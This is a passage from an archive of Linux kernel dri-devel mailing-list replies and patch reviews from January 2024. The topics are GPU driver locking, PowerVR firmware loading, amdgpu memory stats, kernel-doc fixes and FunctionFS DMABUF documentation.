> <4> [298.856663] c900013f7e58
> ((work_completion)(&(>timestamp.work)->work)){+.+.}-{0:0}, at:
> process_scheduled_works+0x264/0x530
> <4> [298.856671]
> which lock already depends on the new lock.
> 
> The complaint is not actually valid. The busyness worker thread does
> indeed hold the worker lock and then attempt to acquire the reset lock
> (which may have happened in reverse order elsewhere). However, it does
> so with a trylock that exits if the reset lock is not available
> (specifically to prevent this and other similar deadlocks).
> Unfortunately, lockdep does not understand the trylock semantics (the
> lock is an i915 specific custom implementation for resets).
> 
> Not doing a synchronous flush of the worker thread when a reset is in
> progress resolves the lockdep splat by never even attempting to grab
> the lock in this particular scenario.
> 
> There are situatons where a synchronous cancel is required, however.
> So, always do the synchronous cancel if not in reset. And add an extra
> synchronous cancel to the end of the reset flow to account for when a
> reset is occurring at driver shutdown and the cancel is no longer
> synchronous but could lead to unallocated memory accesses if the
> worker is not stopped.
> 
> Signed-off-by: Zhanjun Dong 
> Signed-off-by: John Harrison 
> Cc: Andi Shyti 
> Cc: Daniel Vetter 
> ---
>  .../gpu/drm/i915/gt/uc/intel_guc_submission.c | 48 ++-
>  drivers/gpu/drm/i915/gt/uc/intel_uc.c |  2 +-
>  2 files changed, 48 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/gpu/drm/i915/gt/uc/intel_guc_submission.c 
> b/drivers/gpu/drm/i915/gt/uc/intel_guc_submission.c
> index a259f1118c5ab..0228a77d456ed 100644
> --- a/drivers/gpu/drm/i915/gt/uc/intel_guc_submission.c
> +++ b/drivers/gpu/drm/i915/gt/uc/intel_guc_submission.c
> @@ -1362,7 +1362,45 @@ static void guc_enable_busyness_worker(struct 
> intel_guc *guc)
>  
>  static void guc_cancel_busyness_worker(struct intel_guc *guc)
>  {
> - cancel_delayed_work_sync(>timestamp.work);
> + /*
> +  * There are many different call stacks that can get here. Some of them
> +  * hold the reset mutex. The busyness worker also attempts to acquire 
> the
> +  * reset mutex. Synchronously flushing a worker thread requires 
> acquiring
> +  * the worker mutex. Lockdep sees this as a conflict. It thinks that the
> +  * flush can deadlock because it holds the worker mutex while waiting 
> for
> +  * the reset mutex, but another thread is holding the reset mutex and 
> might
> +  * attempt to use other worker functions.
> +  *
> +  * In practice, this scenario does not exist because the busyness worker
> +  * does not block waiting for the reset mutex. It does a try-lock on it 
> and
> +  * immediately exits if the lock is already held. Unfortunately, the 
> mutex
> +  * in question (I915_RESET_BACKOFF) is an i915 implementation which has 
> lockdep
> +  * annotation but not to the extent of explaining the 'might lock' is 
> also a
> +  * 'does not need to lock'. So one option would be to add more complex 
> lockdep
> +  * annotations to ignore the issue (if at all possible). A simpler 
> option is to
> +  * just not flush synchronously when a rest in progress. Given that the 
> worker
> +  * will just early exit and re-schedule itself anyway, there is no 
> advantage
> +  * to running it immediately.
> +  *
> +  * If a reset is not in progress, then the synchronous flush may be 
> required.
> +  * As noted many call stacks lead here, some during suspend and driver 
> unload
> +  * which do require a synchronous flush to make sure the worker is 
> stopped
> +  * before memory is freed.
> +  *
> +  * Trying to pass a 'need_sync' or 'in_reset' flag all the way down 
> through
> +  * every possible call stack is unfeasible. It would be too intrusive 
> to many
> +  * areas that really don't care about the GuC backend. However, there 
> is the
> +  * 'reset_in_progress' flag available, so just use that.
> +  *
> +  * And note that in the case of a reset occurring during driver unload
> +  * (wedge_on_fini), skipping the cancel in _prepare (when the reset 
> flag is set
> +  * is fine because there is 

Re: [PATCH] drm/imagination: Defer probe if requested firmware is not available

[Javier Martinez Canillas]

Daniel Vetter  writes:

Hello Sima,

Thanks for your feedback.

> On Tue, Jan 09, 2024 at 01:05:59PM +0100, Javier Martinez Canillas wrote:
>> The device is initialized in the driver's probe callback and as part of
>> that initialization, the required firmware is loaded. But this fails if
>> the driver is built-in and the firmware isn't present in the initramfs:
>> 
>> $ dmesg | grep powervr
>> [2.969757] powervr fd0.gpu: Direct firmware load for 
>> powervr/rogue_33.15.11.3_v1.fw failed with error -2
>> [2.979727] powervr fd0.gpu: [drm] *ERROR* failed to load firmware 
>> powervr/rogue_33.15.11.3_v1.fw (err=-2)
>> [2.989885] powervr: probe of fd0.gpu failed with error -2
>> 
>> $ ls -lh /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
>> -rw-r--r-- 1 root root 51K Dec 12 19:00 
>> /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
>> 
>> To prevent the probe to fail for this case, let's defer the probe if the
>> firmware isn't available. That way, the driver core can retry it and get
>> the probe to eventually succeed once the root filesystem has been mounted.
>> 
>> If the firmware is also not present in the root filesystem, then the probe
>> will never succeed and the reason listed in the debugfs devices_deferred:
>> 
>> $ cat /sys/kernel/debug/devices_deferred
>> fd0.gpu powervr: failed to load firmware 
>> powervr/rogue_33.15.11.3_v1.fw (err=-517)
>> 
>> Fixes: f99f5f3ea7ef ("drm/imagination: Add GPU ID parsing and firmware 
>> loading")
>> Suggested-by: Maxime Ripard 
>> Signed-off-by: Javier Martinez Canillas 
>
> Uh that doesn't work.
>
> Probe is for "I'm missing a struct device" and _only_ that. You can't
> assume that probe deferral will defer enough until the initrd shows up.
>

Fair.

> You need to fix this by fixing the initrd to include the required
> firmwares. This is what MODULE_FIRMWARE is for, and if your initrd fails
> to observe that it's just broken.
>

Tha's already the case, when is built as a module the initrd (dracut in
this particular case) does figure out that the firmware needs to be added
but that doesn't work when the DRM driver is built-in. Because dracut is
not able to figure out and doesn't even have a powervr.ko info to look at
whatever is set by the MODULE_FIRMWARE macro.

> Yes I know as long as you have enough stuff built as module so that there
> will be _any_ kind of device probe after the root fs is mounted, this
> works, because that triggers a re-probe of everything. But that's the most
> kind of fragile fix there is.
>

Is fragile that's true but on the other hand it does solve the issue in
pratice. The whole device probal mechanism is just a best effort anyways.

> If you want to change that then I think that needs an official blessing
> from Greg KH/device core folks.
>

I liked this approach due its simplicity but an alternative (and more
complex) solution could be to delay the firmware request and not do it at
probe time.

For example, the following (only barely tested) patch solves the issue for
me as well but it's a bigger change to this driver and wasn't sure if will
be acceptable:

>From c3fb715047a44691412196d8408f2bd495bcd1ed Mon Sep 17 00:00:00 2001
From: Javier Martinez Canillas 
Date: Tue, 9 Jan 2024 14:47:05 +0100
Subject: [RFC PATCH] drm/imagination: Move PowerVR GPU init to the drivers's 
open
 callback
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Currently the device is initialized in the driver's probe callback. But as
part of this initialization, the required firmware is loaded and this will
fail when the driver is built-in, unless FW is included in the initramfs:

$ dmesg | grep powervr
[2.969757] powervr fd0.gpu: Direct firmware load for 
powervr/rogue_33.15.11.3_v1.fw failed with error -2
[2.979727] powervr fd0.gpu: [drm] *ERROR* failed to load firmware 
powervr/rogue_33.15.11.3_v1.fw (err=-2)
[2.989885] powervr: probe of fd0.gpu failed with error -2

$ ls -lh /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
-rw-r--r-- 1 root root 51K Dec 12 19:00 
/lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz

To prevent this, let's delay the PowerVR GPU-specific initialization until
the render device is opened by user-space. By then, the root filesystem
will be mounted already and the driver able to find the required firmware.

Besides the mentioned problem, it seems more correct to only load firmware
and request the IRQ if the device is opened rather than do these on probe.

Fixes: f99f5f3ea7ef ("drm/imagination: Add GPU ID parsing and firmware loading")
Signed-off-by: Javier Martinez Canillas 
---
 drivers/gpu/drm/imagination/pvr_device.c | 41 +++-
 drivers/gpu/drm/imagination/pvr_device.h |  2 ++
 drivers/gpu/drm/imagination/pvr_drv.c| 19 +++
 3 files changed, 27 insertions(+), 35 deletions(-)

diff --git a/drivers/gpu/drm/imagination/pvr_device.c 
b/drivers/gpu/drm/imagination/pvr_device.c
index 1704c0268589..1e0a3868394e 

Re: [PATCH v2] drm/vram-helper: fix kernel-doc warnings

[Daniel Vetter]

On Tue, 9 Jan 2024 at 13:59, Daniel Vetter  wrote:
>
> On Mon, Jan 08, 2024 at 01:10:12PM -0800, Randy Dunlap wrote:
> > Hi Thomas,
> >
> > On 1/8/24 00:57, Thomas Zimmermann wrote:
> > > Hi,
> > >
> > > thanks for the fix.
> > >
> > > Am 06.01.24 um 04:29 schrieb Randy Dunlap:
> > >> Remove the @funcs entry from struct drm_vram_mm to quieten the kernel-doc
> > >> warning.
> > >>
> > >> Use the "define" kernel-doc keyword and an '\' line continuation
> > >> to fix another kernel-doc warning.
> > >>
> > >> drm_gem_vram_helper.h:129: warning: missing initial short description on 
> > >> line:
> > >>   * DRM_GEM_VRAM_PLANE_HELPER_FUNCS -
> > >> drm_gem_vram_helper.h:185: warning: Excess struct member 'funcs' 
> > >> description in 'drm_vram_mm'
> > >>
> > >> Signed-off-by: Randy Dunlap 
> > >> Cc: David Airlie 
> > >> Cc: Daniel Vetter 
> > >> Cc: dri-devel@lists.freedesktop.org
> > >> Cc: Maarten Lankhorst 
> > >> Cc: Maxime Ripard 
> > >> Cc: Thomas Zimmermann 
> > >> ---
> > >> v2: Add commit description
> > >>
> > >> base-commit: 610a9b8f49fbcf1100716370d3b5f6f884a2835a
> > >>
> > >>   include/drm/drm_gem_vram_helper.h |3 +--
> > >>   1 file changed, 1 insertion(+), 2 deletions(-)
> > >>
> > >> diff -- a/include/drm/drm_gem_vram_helper.h 
> > >> b/include/drm/drm_gem_vram_helper.h
> > >> --- a/include/drm/drm_gem_vram_helper.h
> > >> +++ b/include/drm/drm_gem_vram_helper.h
> > >> @@ -126,7 +126,7 @@ drm_gem_vram_plane_helper_cleanup_fb(str
> > >>struct drm_plane_state *old_state);
> > >> /**
> > >> - * DRM_GEM_VRAM_PLANE_HELPER_FUNCS -
> > >> + * define DRM_GEM_VRAM_PLANE_HELPER_FUNCS - \
> > >
> > > Did something change wrt. doc syntax? I think this used to work without 
> > > warnings. About this 'define': we don't use is in another docs. Can we 
> > > leave it out here or is this the new syntax?
> > >
> >
> > There are no doc syntax changes that I know of. This is not
> > new syntax. It has been around since 2014:
> >   cbb4d3e6510b ("scripts/kernel-doc: handle object-like macros")
>
> I had no idea this exists, thanks a lot for this TIL :-)
>
> I guess the issue here is that this exists, yay, but it's not documented
> with the other here:
>
> https://dri.freedesktop.org/docs/drm/doc-guide/kernel-doc.html#structure-union-and-enumeration-documentation
>
> I guess a patch to kernel-doc.rst would be great. Adding some kernel-doc
> folks.

Ok I went ahead and typed that patch (just we don't waste effort),
just waiting for the sphinx build to finish to make sure it looks nice
before I send out the patch.
-Sima
-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [PATCH v1 0/8] drm/ci: Add support for GPU and display testing

[Daniel Stone]

Hi,

On Wed, 20 Dec 2023 at 12:11, Vignesh Raman  wrote:
> Some ARM SOCs have a separate display controller and GPU, each with
> different drivers. For mediatek mt8173, the GPU driver is powervr,
> and the display driver is mediatek. In the case of mediatek mt8183,
> the GPU driver is panfrost, and the display driver is mediatek.
> With rockchip rk3288/rk3399, the GPU driver is panfrost, while the
> display driver is rockchip. For amlogic meson, the GPU driver is
> panfrost, and the display driver is meson.
>
> IGT tests run various tests with different xfails and can test both
> GPU devices and KMS/display devices. Currently, in drm-ci for MediaTek,
> Rockchip, and Amlogic Meson platforms, only the GPU driver is tested.
> This leads to incomplete coverage since the display is never tested on
> these platforms. This commit series adds support in drm-ci to run tests
> for both GPU and display drivers for MediaTek, Rockchip, and Amlogic
> Meson platforms.

Thanks a lot for these. The patches need to be squashed to be
bisectable though. For example, patch #2 changes the MTK job names and
adds more jobs, but the corresponding xfail updates only come in #7
and #8. This means we have a span of a few patches where we don't have
useful test results.

A better sequencing would be something like:
  1. add ANX7625 config
  2. refactor _existing_ MTK display jobs to use YAML includes, change
the existing job name, and rename the existing xfail set, remove
IGT_FORCE_DRIVER from the script since it's now set by the job
  3. add MTK Panfrost+PVR GPU jobs with new xfails, add xfail entry to
MAINTAINERS
  4+5: same as 2+3 but for Amlogic
  6+7: same as 2+3 but for Rockchip

Then the separate rename/update xfail commits just disappear, as does
the removal of IGT_FORCE_DRIVER, because it's just done incrementally
as part of the commits which change the related functionality. It's
extremely important that every change can work standalone, instead of
introducing intermediate breakage which is only fixed in later commits
in the series.

Cheers,
Daniel

Re: [PATCH 2/2] drm/amdgpu: add shared fdinfo stats

[Tvrtko Ursulin]

On 09/01/2024 12:54, Daniel Vetter wrote:

On Tue, Jan 09, 2024 at 09:30:15AM +, Tvrtko Ursulin wrote:


On 09/01/2024 07:56, Christian König wrote:

Am 07.12.23 um 19:02 schrieb Alex Deucher:

Add shared stats.  Useful for seeing shared memory.

v2: take dma-buf into account as well

Signed-off-by: Alex Deucher 
Cc: Rob Clark 
---
   drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c |  4 
   drivers/gpu/drm/amd/amdgpu/amdgpu_object.c | 11 +++
   drivers/gpu/drm/amd/amdgpu/amdgpu_object.h |  6 ++
   3 files changed, 21 insertions(+)

diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
index 5706b282a0c7..c7df7fa3459f 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_fdinfo.c
@@ -97,6 +97,10 @@ void amdgpu_show_fdinfo(struct drm_printer *p,
struct drm_file *file)
  stats.requested_visible_vram/1024UL);
   drm_printf(p, "amd-requested-gtt:\t%llu KiB\n",
  stats.requested_gtt/1024UL);
+    drm_printf(p, "drm-shared-vram:\t%llu KiB\n",
stats.vram_shared/1024UL);
+    drm_printf(p, "drm-shared-gtt:\t%llu KiB\n",
stats.gtt_shared/1024UL);
+    drm_printf(p, "drm-shared-cpu:\t%llu KiB\n",
stats.cpu_shared/1024UL);
+
   for (hw_ip = 0; hw_ip < AMDGPU_HW_IP_NUM; ++hw_ip) {
   if (!usage[hw_ip])
   continue;
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
index d79b4ca1ecfc..1b37d95475b8 100644
--- a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
+++ b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.c
@@ -1287,25 +1287,36 @@ void amdgpu_bo_get_memory(struct amdgpu_bo *bo,
     struct amdgpu_mem_stats *stats)
   {
   uint64_t size = amdgpu_bo_size(bo);
+    struct drm_gem_object *obj;
   unsigned int domain;
+    bool shared;
   /* Abort if the BO doesn't currently have a backing store */
   if (!bo->tbo.resource)
   return;
+    obj = >tbo.base;
+    shared = (obj->handle_count > 1) || obj->dma_buf;


I still think that looking at handle_count is the completely wrong
approach, we should really only look at obj->dma_buf.


Yeah it is all a bit tricky with the handle table walk. I don't think it is
even possible to claim it is shared with obj->dma_buf could be the same
process creating say via udmabuf and importing into drm. It is a wild
scenario yes, but it could be private memory in that case. Not sure where it
would leave us if we said this is just a limitation of a BO based tracking.

Would adding a new category "imported" help?

Hmm or we simply change drm-usage-stats.rst:

"""
- drm-shared-:  [KiB|MiB]

The total size of buffers that are shared with another file (ie. have more
than than a single handle).
"""

Changing ie into eg coule be get our of jail free card to allow the
"(obj->handle_count > 1) || obj->dma_buf;" condition?

Because of the shared with another _file_ wording would cover my wild
udmabuf self-import case. Unless there are more such creative private import
options.


Yeah I think clarifying that we can only track sharing with other fd and
have no idea whether this means sharing with another process or not is
probably simplest. Maybe not exactly what users want, but still the
roughly best-case approximation we can deliver somewhat cheaply.

Also maybe time for a drm_gem_buffer_object_is_shared() helper so we don't
copypaste this all over and then end up in divergent conditions? I'm
guessing that there's going to be a bunch of drivers which needs this
little helper to add drm-shared-* stats to their fdinfo ...


Yeah I agree that works and i915 would need to use the helper too.

I would only suggest to name it so the meaning of shared is obviously 
only about the fdinfo memory stats and no one gets a more meaningful 
idea about its semantics.


We have drm_show_memory_stats and drm_print_memory_stats exported so 
perhaps something like drm_object_is_shared_for_memory_stats, 
drm_object_is_memory_stats_shared, drm_memory_stats_object_is_shared?


And s/ie/eg/ in the above quoted drm-usage-stats.rst.

Regards,

Tvrtko



Cheers, Sima


Regards,

Tvrtko



Regards,
Christian.


+
   domain = amdgpu_mem_type_to_domain(bo->tbo.resource->mem_type);
   switch (domain) {
   case AMDGPU_GEM_DOMAIN_VRAM:
   stats->vram += size;
   if (amdgpu_bo_in_cpu_visible_vram(bo))
   stats->visible_vram += size;
+    if (shared)
+    stats->vram_shared += size;
   break;
   case AMDGPU_GEM_DOMAIN_GTT:
   stats->gtt += size;
+    if (shared)
+    stats->gtt_shared += size;
   break;
   case AMDGPU_GEM_DOMAIN_CPU:
   default:
   stats->cpu += size;
+    if (shared)
+    stats->cpu_shared += size;
   break;
   }
diff --git a/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
b/drivers/gpu/drm/amd/amdgpu/amdgpu_object.h
index d28e21baef16..0503af75dc26 100644
--- 

Re: [PATCH] drm/imagination: Defer probe if requested firmware is not available

[Daniel Vetter]

On Tue, Jan 09, 2024 at 01:05:59PM +0100, Javier Martinez Canillas wrote:
> The device is initialized in the driver's probe callback and as part of
> that initialization, the required firmware is loaded. But this fails if
> the driver is built-in and the firmware isn't present in the initramfs:
> 
> $ dmesg | grep powervr
> [2.969757] powervr fd0.gpu: Direct firmware load for 
> powervr/rogue_33.15.11.3_v1.fw failed with error -2
> [2.979727] powervr fd0.gpu: [drm] *ERROR* failed to load firmware 
> powervr/rogue_33.15.11.3_v1.fw (err=-2)
> [2.989885] powervr: probe of fd0.gpu failed with error -2
> 
> $ ls -lh /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
> -rw-r--r-- 1 root root 51K Dec 12 19:00 
> /lib/firmware/powervr/rogue_33.15.11.3_v1.fw.xz
> 
> To prevent the probe to fail for this case, let's defer the probe if the
> firmware isn't available. That way, the driver core can retry it and get
> the probe to eventually succeed once the root filesystem has been mounted.
> 
> If the firmware is also not present in the root filesystem, then the probe
> will never succeed and the reason listed in the debugfs devices_deferred:
> 
> $ cat /sys/kernel/debug/devices_deferred
> fd0.gpu powervr: failed to load firmware 
> powervr/rogue_33.15.11.3_v1.fw (err=-517)
> 
> Fixes: f99f5f3ea7ef ("drm/imagination: Add GPU ID parsing and firmware 
> loading")
> Suggested-by: Maxime Ripard 
> Signed-off-by: Javier Martinez Canillas 

Uh that doesn't work.

Probe is for "I'm missing a struct device" and _only_ that. You can't
assume that probe deferral will defer enough until the initrd shows up.

You need to fix this by fixing the initrd to include the required
firmwares. This is what MODULE_FIRMWARE is for, and if your initrd fails
to observe that it's just broken.

Yes I know as long as you have enough stuff built as module so that there
will be _any_ kind of device probe after the root fs is mounted, this
works, because that triggers a re-probe of everything. But that's the most
kind of fragile fix there is.

If you want to change that then I think that needs an official blessing
from Greg KH/device core folks.

Cheers, Sima

> ---
> 
>  drivers/gpu/drm/imagination/pvr_device.c | 12 ++--
>  1 file changed, 10 insertions(+), 2 deletions(-)
> 
> diff --git a/drivers/gpu/drm/imagination/pvr_device.c 
> b/drivers/gpu/drm/imagination/pvr_device.c
> index 1704c0268589..6eda25366431 100644
> --- a/drivers/gpu/drm/imagination/pvr_device.c
> +++ b/drivers/gpu/drm/imagination/pvr_device.c
> @@ -295,8 +295,16 @@ pvr_request_firmware(struct pvr_device *pvr_dev)
>*/
>   err = request_firmware(, filename, pvr_dev->base.dev);
>   if (err) {
> - drm_err(drm_dev, "failed to load firmware %s (err=%d)\n",
> - filename, err);
> + /*
> +  * Defer probe if the firmware is not available yet (e.g: the 
> driver
> +  * is built-in and the firmware not present in the initramfs 
> image).
> +  */
> + if (err == -ENOENT)
> + err = -EPROBE_DEFER;
> +
> + dev_err_probe(drm_dev->dev, err, "failed to load firmware %s 
> (err=%d)\n",
> +   filename, err);
> +
>   goto err_free_filename;
>   }
>  
> -- 
> 2.43.0
> 

-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [PATCH] drm/shmem-helper: Fix comment describing dma-buf mappings

[Daniel Vetter]

On Tue, Jan 09, 2024 at 11:43:05AM +0100, Jacek Lawrynowicz wrote:
> `shmem->map_wc was` set to `false` but the comment suggested WC was
> enabled for imported buffers.
> 
> Signed-off-by: Jacek Lawrynowicz 
> ---
>  drivers/gpu/drm/drm_gem_shmem_helper.c | 2 +-
>  1 file changed, 1 insertion(+), 1 deletion(-)
> 
> diff --git a/drivers/gpu/drm/drm_gem_shmem_helper.c 
> b/drivers/gpu/drm/drm_gem_shmem_helper.c
> index e435f986cd13..1532f1766170 100644
> --- a/drivers/gpu/drm/drm_gem_shmem_helper.c
> +++ b/drivers/gpu/drm/drm_gem_shmem_helper.c
> @@ -75,7 +75,7 @@ __drm_gem_shmem_create(struct drm_device *dev, size_t size, 
> bool private)
>  
>   if (private) {
>   drm_gem_private_object_init(dev, obj, size);
> - shmem->map_wc = false; /* dma-buf mappings use always 
> writecombine */
> + shmem->map_wc = false; /* dma-buf mappings are never 
> write-combined */

I think neither is correct, because for a dma_buf import it is up to the
importer to set up everything, including whether mappings should be
write-combined or not. And setting this to false ensures that helpers
don't muck around with the caching setting.

Also there's private buffer objects for other reasons, but the overlap
between drivers that have those and which use shmem helpers is zero.

So I think overall a better comment would be:

/* This disables all shmem helper caching code and leaves
 * all decision entirely to the buffer provider */

Maybe in a very old version where shmem helpers didn't correctly use the
dma_buf functions there was some justification for the original comment,
but that's been long ago fixed in a series of patches to make sure
dma_buf_vmap/mmap are used consistently and directly.

Care to respin with a wording of your choice for the comment? If you're
bored you could also try to dig through history a bit and collect some of
the commits that made this comment largely obsolete, since I don't think
any of the map_wc == true paths are even reachable anymore for private
objects ...

Cheers, Sima
>   } else {
>   ret = drm_gem_object_init(dev, obj, size);
>   }
> -- 
> 2.43.0
> 

-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [PATCH v3 4/4] Documentation: usb: Document FunctionFS DMABUF API

[Vegard Nossum]

On 08/01/2024 13:00, Paul Cercueil wrote:

Add documentation for the three ioctls used to attach or detach
externally-created DMABUFs, and to request transfers from/to previously
attached DMABUFs.

Signed-off-by: Paul Cercueil 

---
v3: New patch
---
  Documentation/usb/functionfs.rst | 36 
  1 file changed, 36 insertions(+)


Hi,

I'd like to point out that this file (usb/functionfs.rst) is currently
included by Documentation/subsystem-apis.rst, the top-level file for the
"Kernel subsystem documentation" set of books, which describe internal
APIs: "These books get into the details of how specific kernel
subsystems work from the point of view of a kernel developer".

However, functionfs.rst (and especially your new additions) are
documenting a userspace API, so it really belongs somewhere in
Documentation/userspace-api/ -- that's where /proc, /sys, /dev and ioctl
descriptions for userspace programmers belong.

I'm not NAKing the patch -- I just want to draw attention to this
discrepancy. Maybe we can separate the kernel-implementation details
(stuff about __init sections and stuff) from the new ioctl() info?

Looking at  I see that there are many
other adjacent documents that are also not really documenting kernel
implementation details, rough categorization as follows:

USB support
---

- Linux ACM driver v0.16 ==> admin/user info
- Authorizing (or not) your USB devices to connect to the system ==> 
admin/user info

- ChipIdea Highspeed Dual Role Controller Driver => admin/user info
- DWC3 driver ==> driver TODOs (can be moved into source code?)
- EHCI driver ==> technical info + driver details
- How FunctionFS works
- Linux USB gadget configured through configfs ==> userspace API + 
implementation

- Linux USB HID gadget driver ==> implementation + userspace API
- Multifunction Composite Gadget ==> technical + user info
- Linux USB Printer Gadget Driver ==> userspace API
- Linux Gadget Serial Driver v2.0 ==> user/admin + userspace API
- Linux UVC Gadget Driver ==> user/admin + userspace API
- Gadget Testing ==> user/admin + userspace API
- Infinity Usb Unlimited Readme ==> user/admin
- Mass Storage Gadget (MSG) ==> user/admin
- USB 7-Segment Numeric Display ==> user/admin
- mtouchusb driver ==> user/admin
- OHCI ==> technical info
- USB Raw Gadget ==> userspace API
- USB/IP protocol ==> technical info
- usbmon ==> user/admin + userspace API
- USB serial ==> user/admin + technical info
- USB references
- Linux CDC ACM inf
- Linux inf
- USB devfs drop permissions source
- Credits

By "admin/user info", I mean things that a user would have to do or run
(e.g. modprobe + flags) to make use of a driver; "technical info" is
more like device specifications (transfer speeds, modes of operation,
etc.); "userspace API" is stuff like configfs and ioctls; "driver
details" is really implementation details and internal considerations.

The last ones I don't even really know how to categorize.

I'm guessing nobody is really enthralled by the idea of splitting
Documentation/usb/ up like this?

  Documentation/admin-guide/usb/
  Documentation/driver-api/usb/ (this one actually exists already)
  Documentation/userspace-api/usb/

For the stuff that is _actually_ internal to a specific driver (so not
useful for end users, not useful for admins, not generic USB info, and
not useful for userspace programmers), I would honestly propose to just
move it directly into the driver's source code, or, if the text is
obsolete, just get rid of it completely.

The distinction between user/admin and userspace API is pretty clear
(one is for end users, the other is for userspace _programmers_), but it
can sometimes be hard to determine whether something falls in one or the
other category.

In any case -- it looks like almost all of the usb/ directory does not
document "how specific kernel subsystems work from the point of view of
a kernel developer" so maybe we should just move the include to
userspace-api/ for now as an obvious improvement (if still not 100%
correct):

diff --git a/Documentation/subsystem-apis.rst 
b/Documentation/subsystem-apis.rst

index 2d353fb8ea26..fe972f57bf4c 100644
--- a/Documentation/subsystem-apis.rst
+++ b/Documentation/subsystem-apis.rst
@@ -81,7 +81,6 @@ Storage interfaces
security/index
crypto/index
bpf/index
-   usb/index
PCI/index
misc-devices/index
peci/index
diff --git a/Documentation/userspace-api/index.rst 
b/Documentation/userspace-api/index.rst

index 82f9dbd228f5..e60cd9174ada 100644
--- a/Documentation/userspace-api/index.rst
+++ b/Documentation/userspace-api/index.rst
@@ -41,6 +41,7 @@ Subsystem-specific documentation:
tee
isapnp
dcdbas
+   ../usb/index

 Kernel ABIs: These documents describe the the ABI between the Linux
 kernel and userspace, and the relative stability of these interfaces.


Thoughts?


Vegard

Re: [PATCH v3 3/4] usb: gadget: functionfs: Add DMABUF import interface

[Daniel Vetter]

On Tue, Jan 09, 2024 at 12:06:58PM +0100, Paul Cercueil wrote:
> Hi Daniel / Sima,
> 
> Le lundi 08 janvier 2024 à 20:19 +0100, Daniel Vetter a écrit :
> > On Mon, Jan 08, 2024 at 05:27:33PM +0100, Paul Cercueil wrote:
> > > Le lundi 08 janvier 2024 à 16:29 +0100, Daniel Vetter a écrit :
> > > > On Mon, Jan 08, 2024 at 03:21:21PM +0100, Paul Cercueil wrote:
> > > > > Hi Daniel (Sima?),
> > > > > 
> > > > > Le lundi 08 janvier 2024 à 13:39 +0100, Daniel Vetter a écrit :
> > > > > > On Mon, Jan 08, 2024 at 01:00:55PM +0100, Paul Cercueil
> > > > > > wrote:
> > > > > > > +static void ffs_dmabuf_signal_done(struct ffs_dma_fence
> > > > > > > *dma_fence, int ret)
> > > > > > > +{
> > > > > > > + struct ffs_dmabuf_priv *priv = dma_fence->priv;
> > > > > > > + struct dma_fence *fence = _fence->base;
> > > > > > > +
> > > > > > > + dma_fence_get(fence);
> > > > > > > + fence->error = ret;
> > > > > > > + dma_fence_signal(fence);
> > > > > > > +
> > > > > > > + dma_buf_unmap_attachment(priv->attach, dma_fence-
> > > > > > > >sgt,
> > > > > > > dma_fence->dir);
> > > > > > > + dma_fence_put(fence);
> > > > > > > + ffs_dmabuf_put(priv->attach);
> > > > > > 
> > > > > > So this can in theory take the dma_resv lock, and if the usb
> > > > > > completion
> > > > > > isn't an unlimited worker this could hold up completion of
> > > > > > future
> > > > > > dma_fence, resulting in a deadlock.
> > > > > > 
> > > > > > Needs to be checked how usb works, and if stalling
> > > > > > indefinitely
> > > > > > in
> > > > > > the
> > > > > > io_complete callback can hold up the usb stack you need to:
> > > > > > 
> > > > > > - drop a dma_fence_begin/end_signalling annotations in here
> > > > > > - pull out the unref stuff into a separate preallocated
> > > > > > worker
> > > > > > (or at
> > > > > >   least the final unrefs for ffs_dma_buf).
> > > > > 
> > > > > Only ffs_dmabuf_put() can attempt to take the dma_resv and
> > > > > would
> > > > > have
> > > > > to be in a worker, right? Everything else would be inside the
> > > > > dma_fence_begin/end_signalling() annotations?
> > > > 
> > > > Yup. Also I noticed that unlike the iio patches you don't have
> > > > the
> > > > dma_buf_unmap here in the completion path (or I'm blind?), which
> > > > helps a
> > > > lot with avoiding trouble.
> > > 
> > > They both call dma_buf_unmap_attachment() in the "signal done"
> > > callback, the only difference I see is that it is called after the
> > > dma_fence_put() in the iio patches, while it's called before
> > > dma_fence_put() here.
> > 
> > I was indeed blind ...
> > 
> > So the trouble is this wont work because:
> > - dma_buf_unmap_attachment() requires dma_resv_lock. This is a
> > somewhat
> >   recent-ish change from 47e982d5195d ("dma-buf: Move
> >   dma_buf_map_attachment() to dynamic locking specification"), so
> > maybe
> >   old kernel or you don't have full lockdep enabled to get the right
> >   splat.
> > 
> > - dma_fence critical section forbids dma_resv_lock
> > 
> > Which means you need to move this out, but then there's the potential
> > cache management issue. Which current gpu drivers just kinda ignore
> > because it doesn't matter for current use-case, they all cache the
> > mapping
> > for about as long as the attachment exists. You might want to do the
> > same,
> > unless that somehow breaks a use-case you have, I have no idea about
> > that.
> > If something breaks with unmap_attachment moved out of the fence
> > handling
> > then I guess it's high time to add separate cache-management only to
> > dma_buf (and that's probably going to be quite some wiring up, not
> > sure
> > even how easy that would be to do nor what exactly the interface
> > should
> > look like).
> 
> Ok. Then I'll just cache the mapping for now, I think.

Yeah I think that's simplest. I did ponder a bit and I don't think it'd be
too much pain to add the cache-management functions for device
attachments/mappings. But it would be quite some typing ...
-Sima
-- 
Daniel Vetter
Software Engineer, Intel Corporation
http://blog.ffwll.ch

Re: [PATCH v2] drm/vram-helper: fix kernel-doc warnings

[Daniel Vetter]

On Mon, Jan 08, 2024 at 01:10:12PM -0800, Randy Dunlap wrote:
> Hi Thomas,
> 
> On 1/8/24 00:57, Thomas Zimmermann wrote:
> > Hi,
> > 
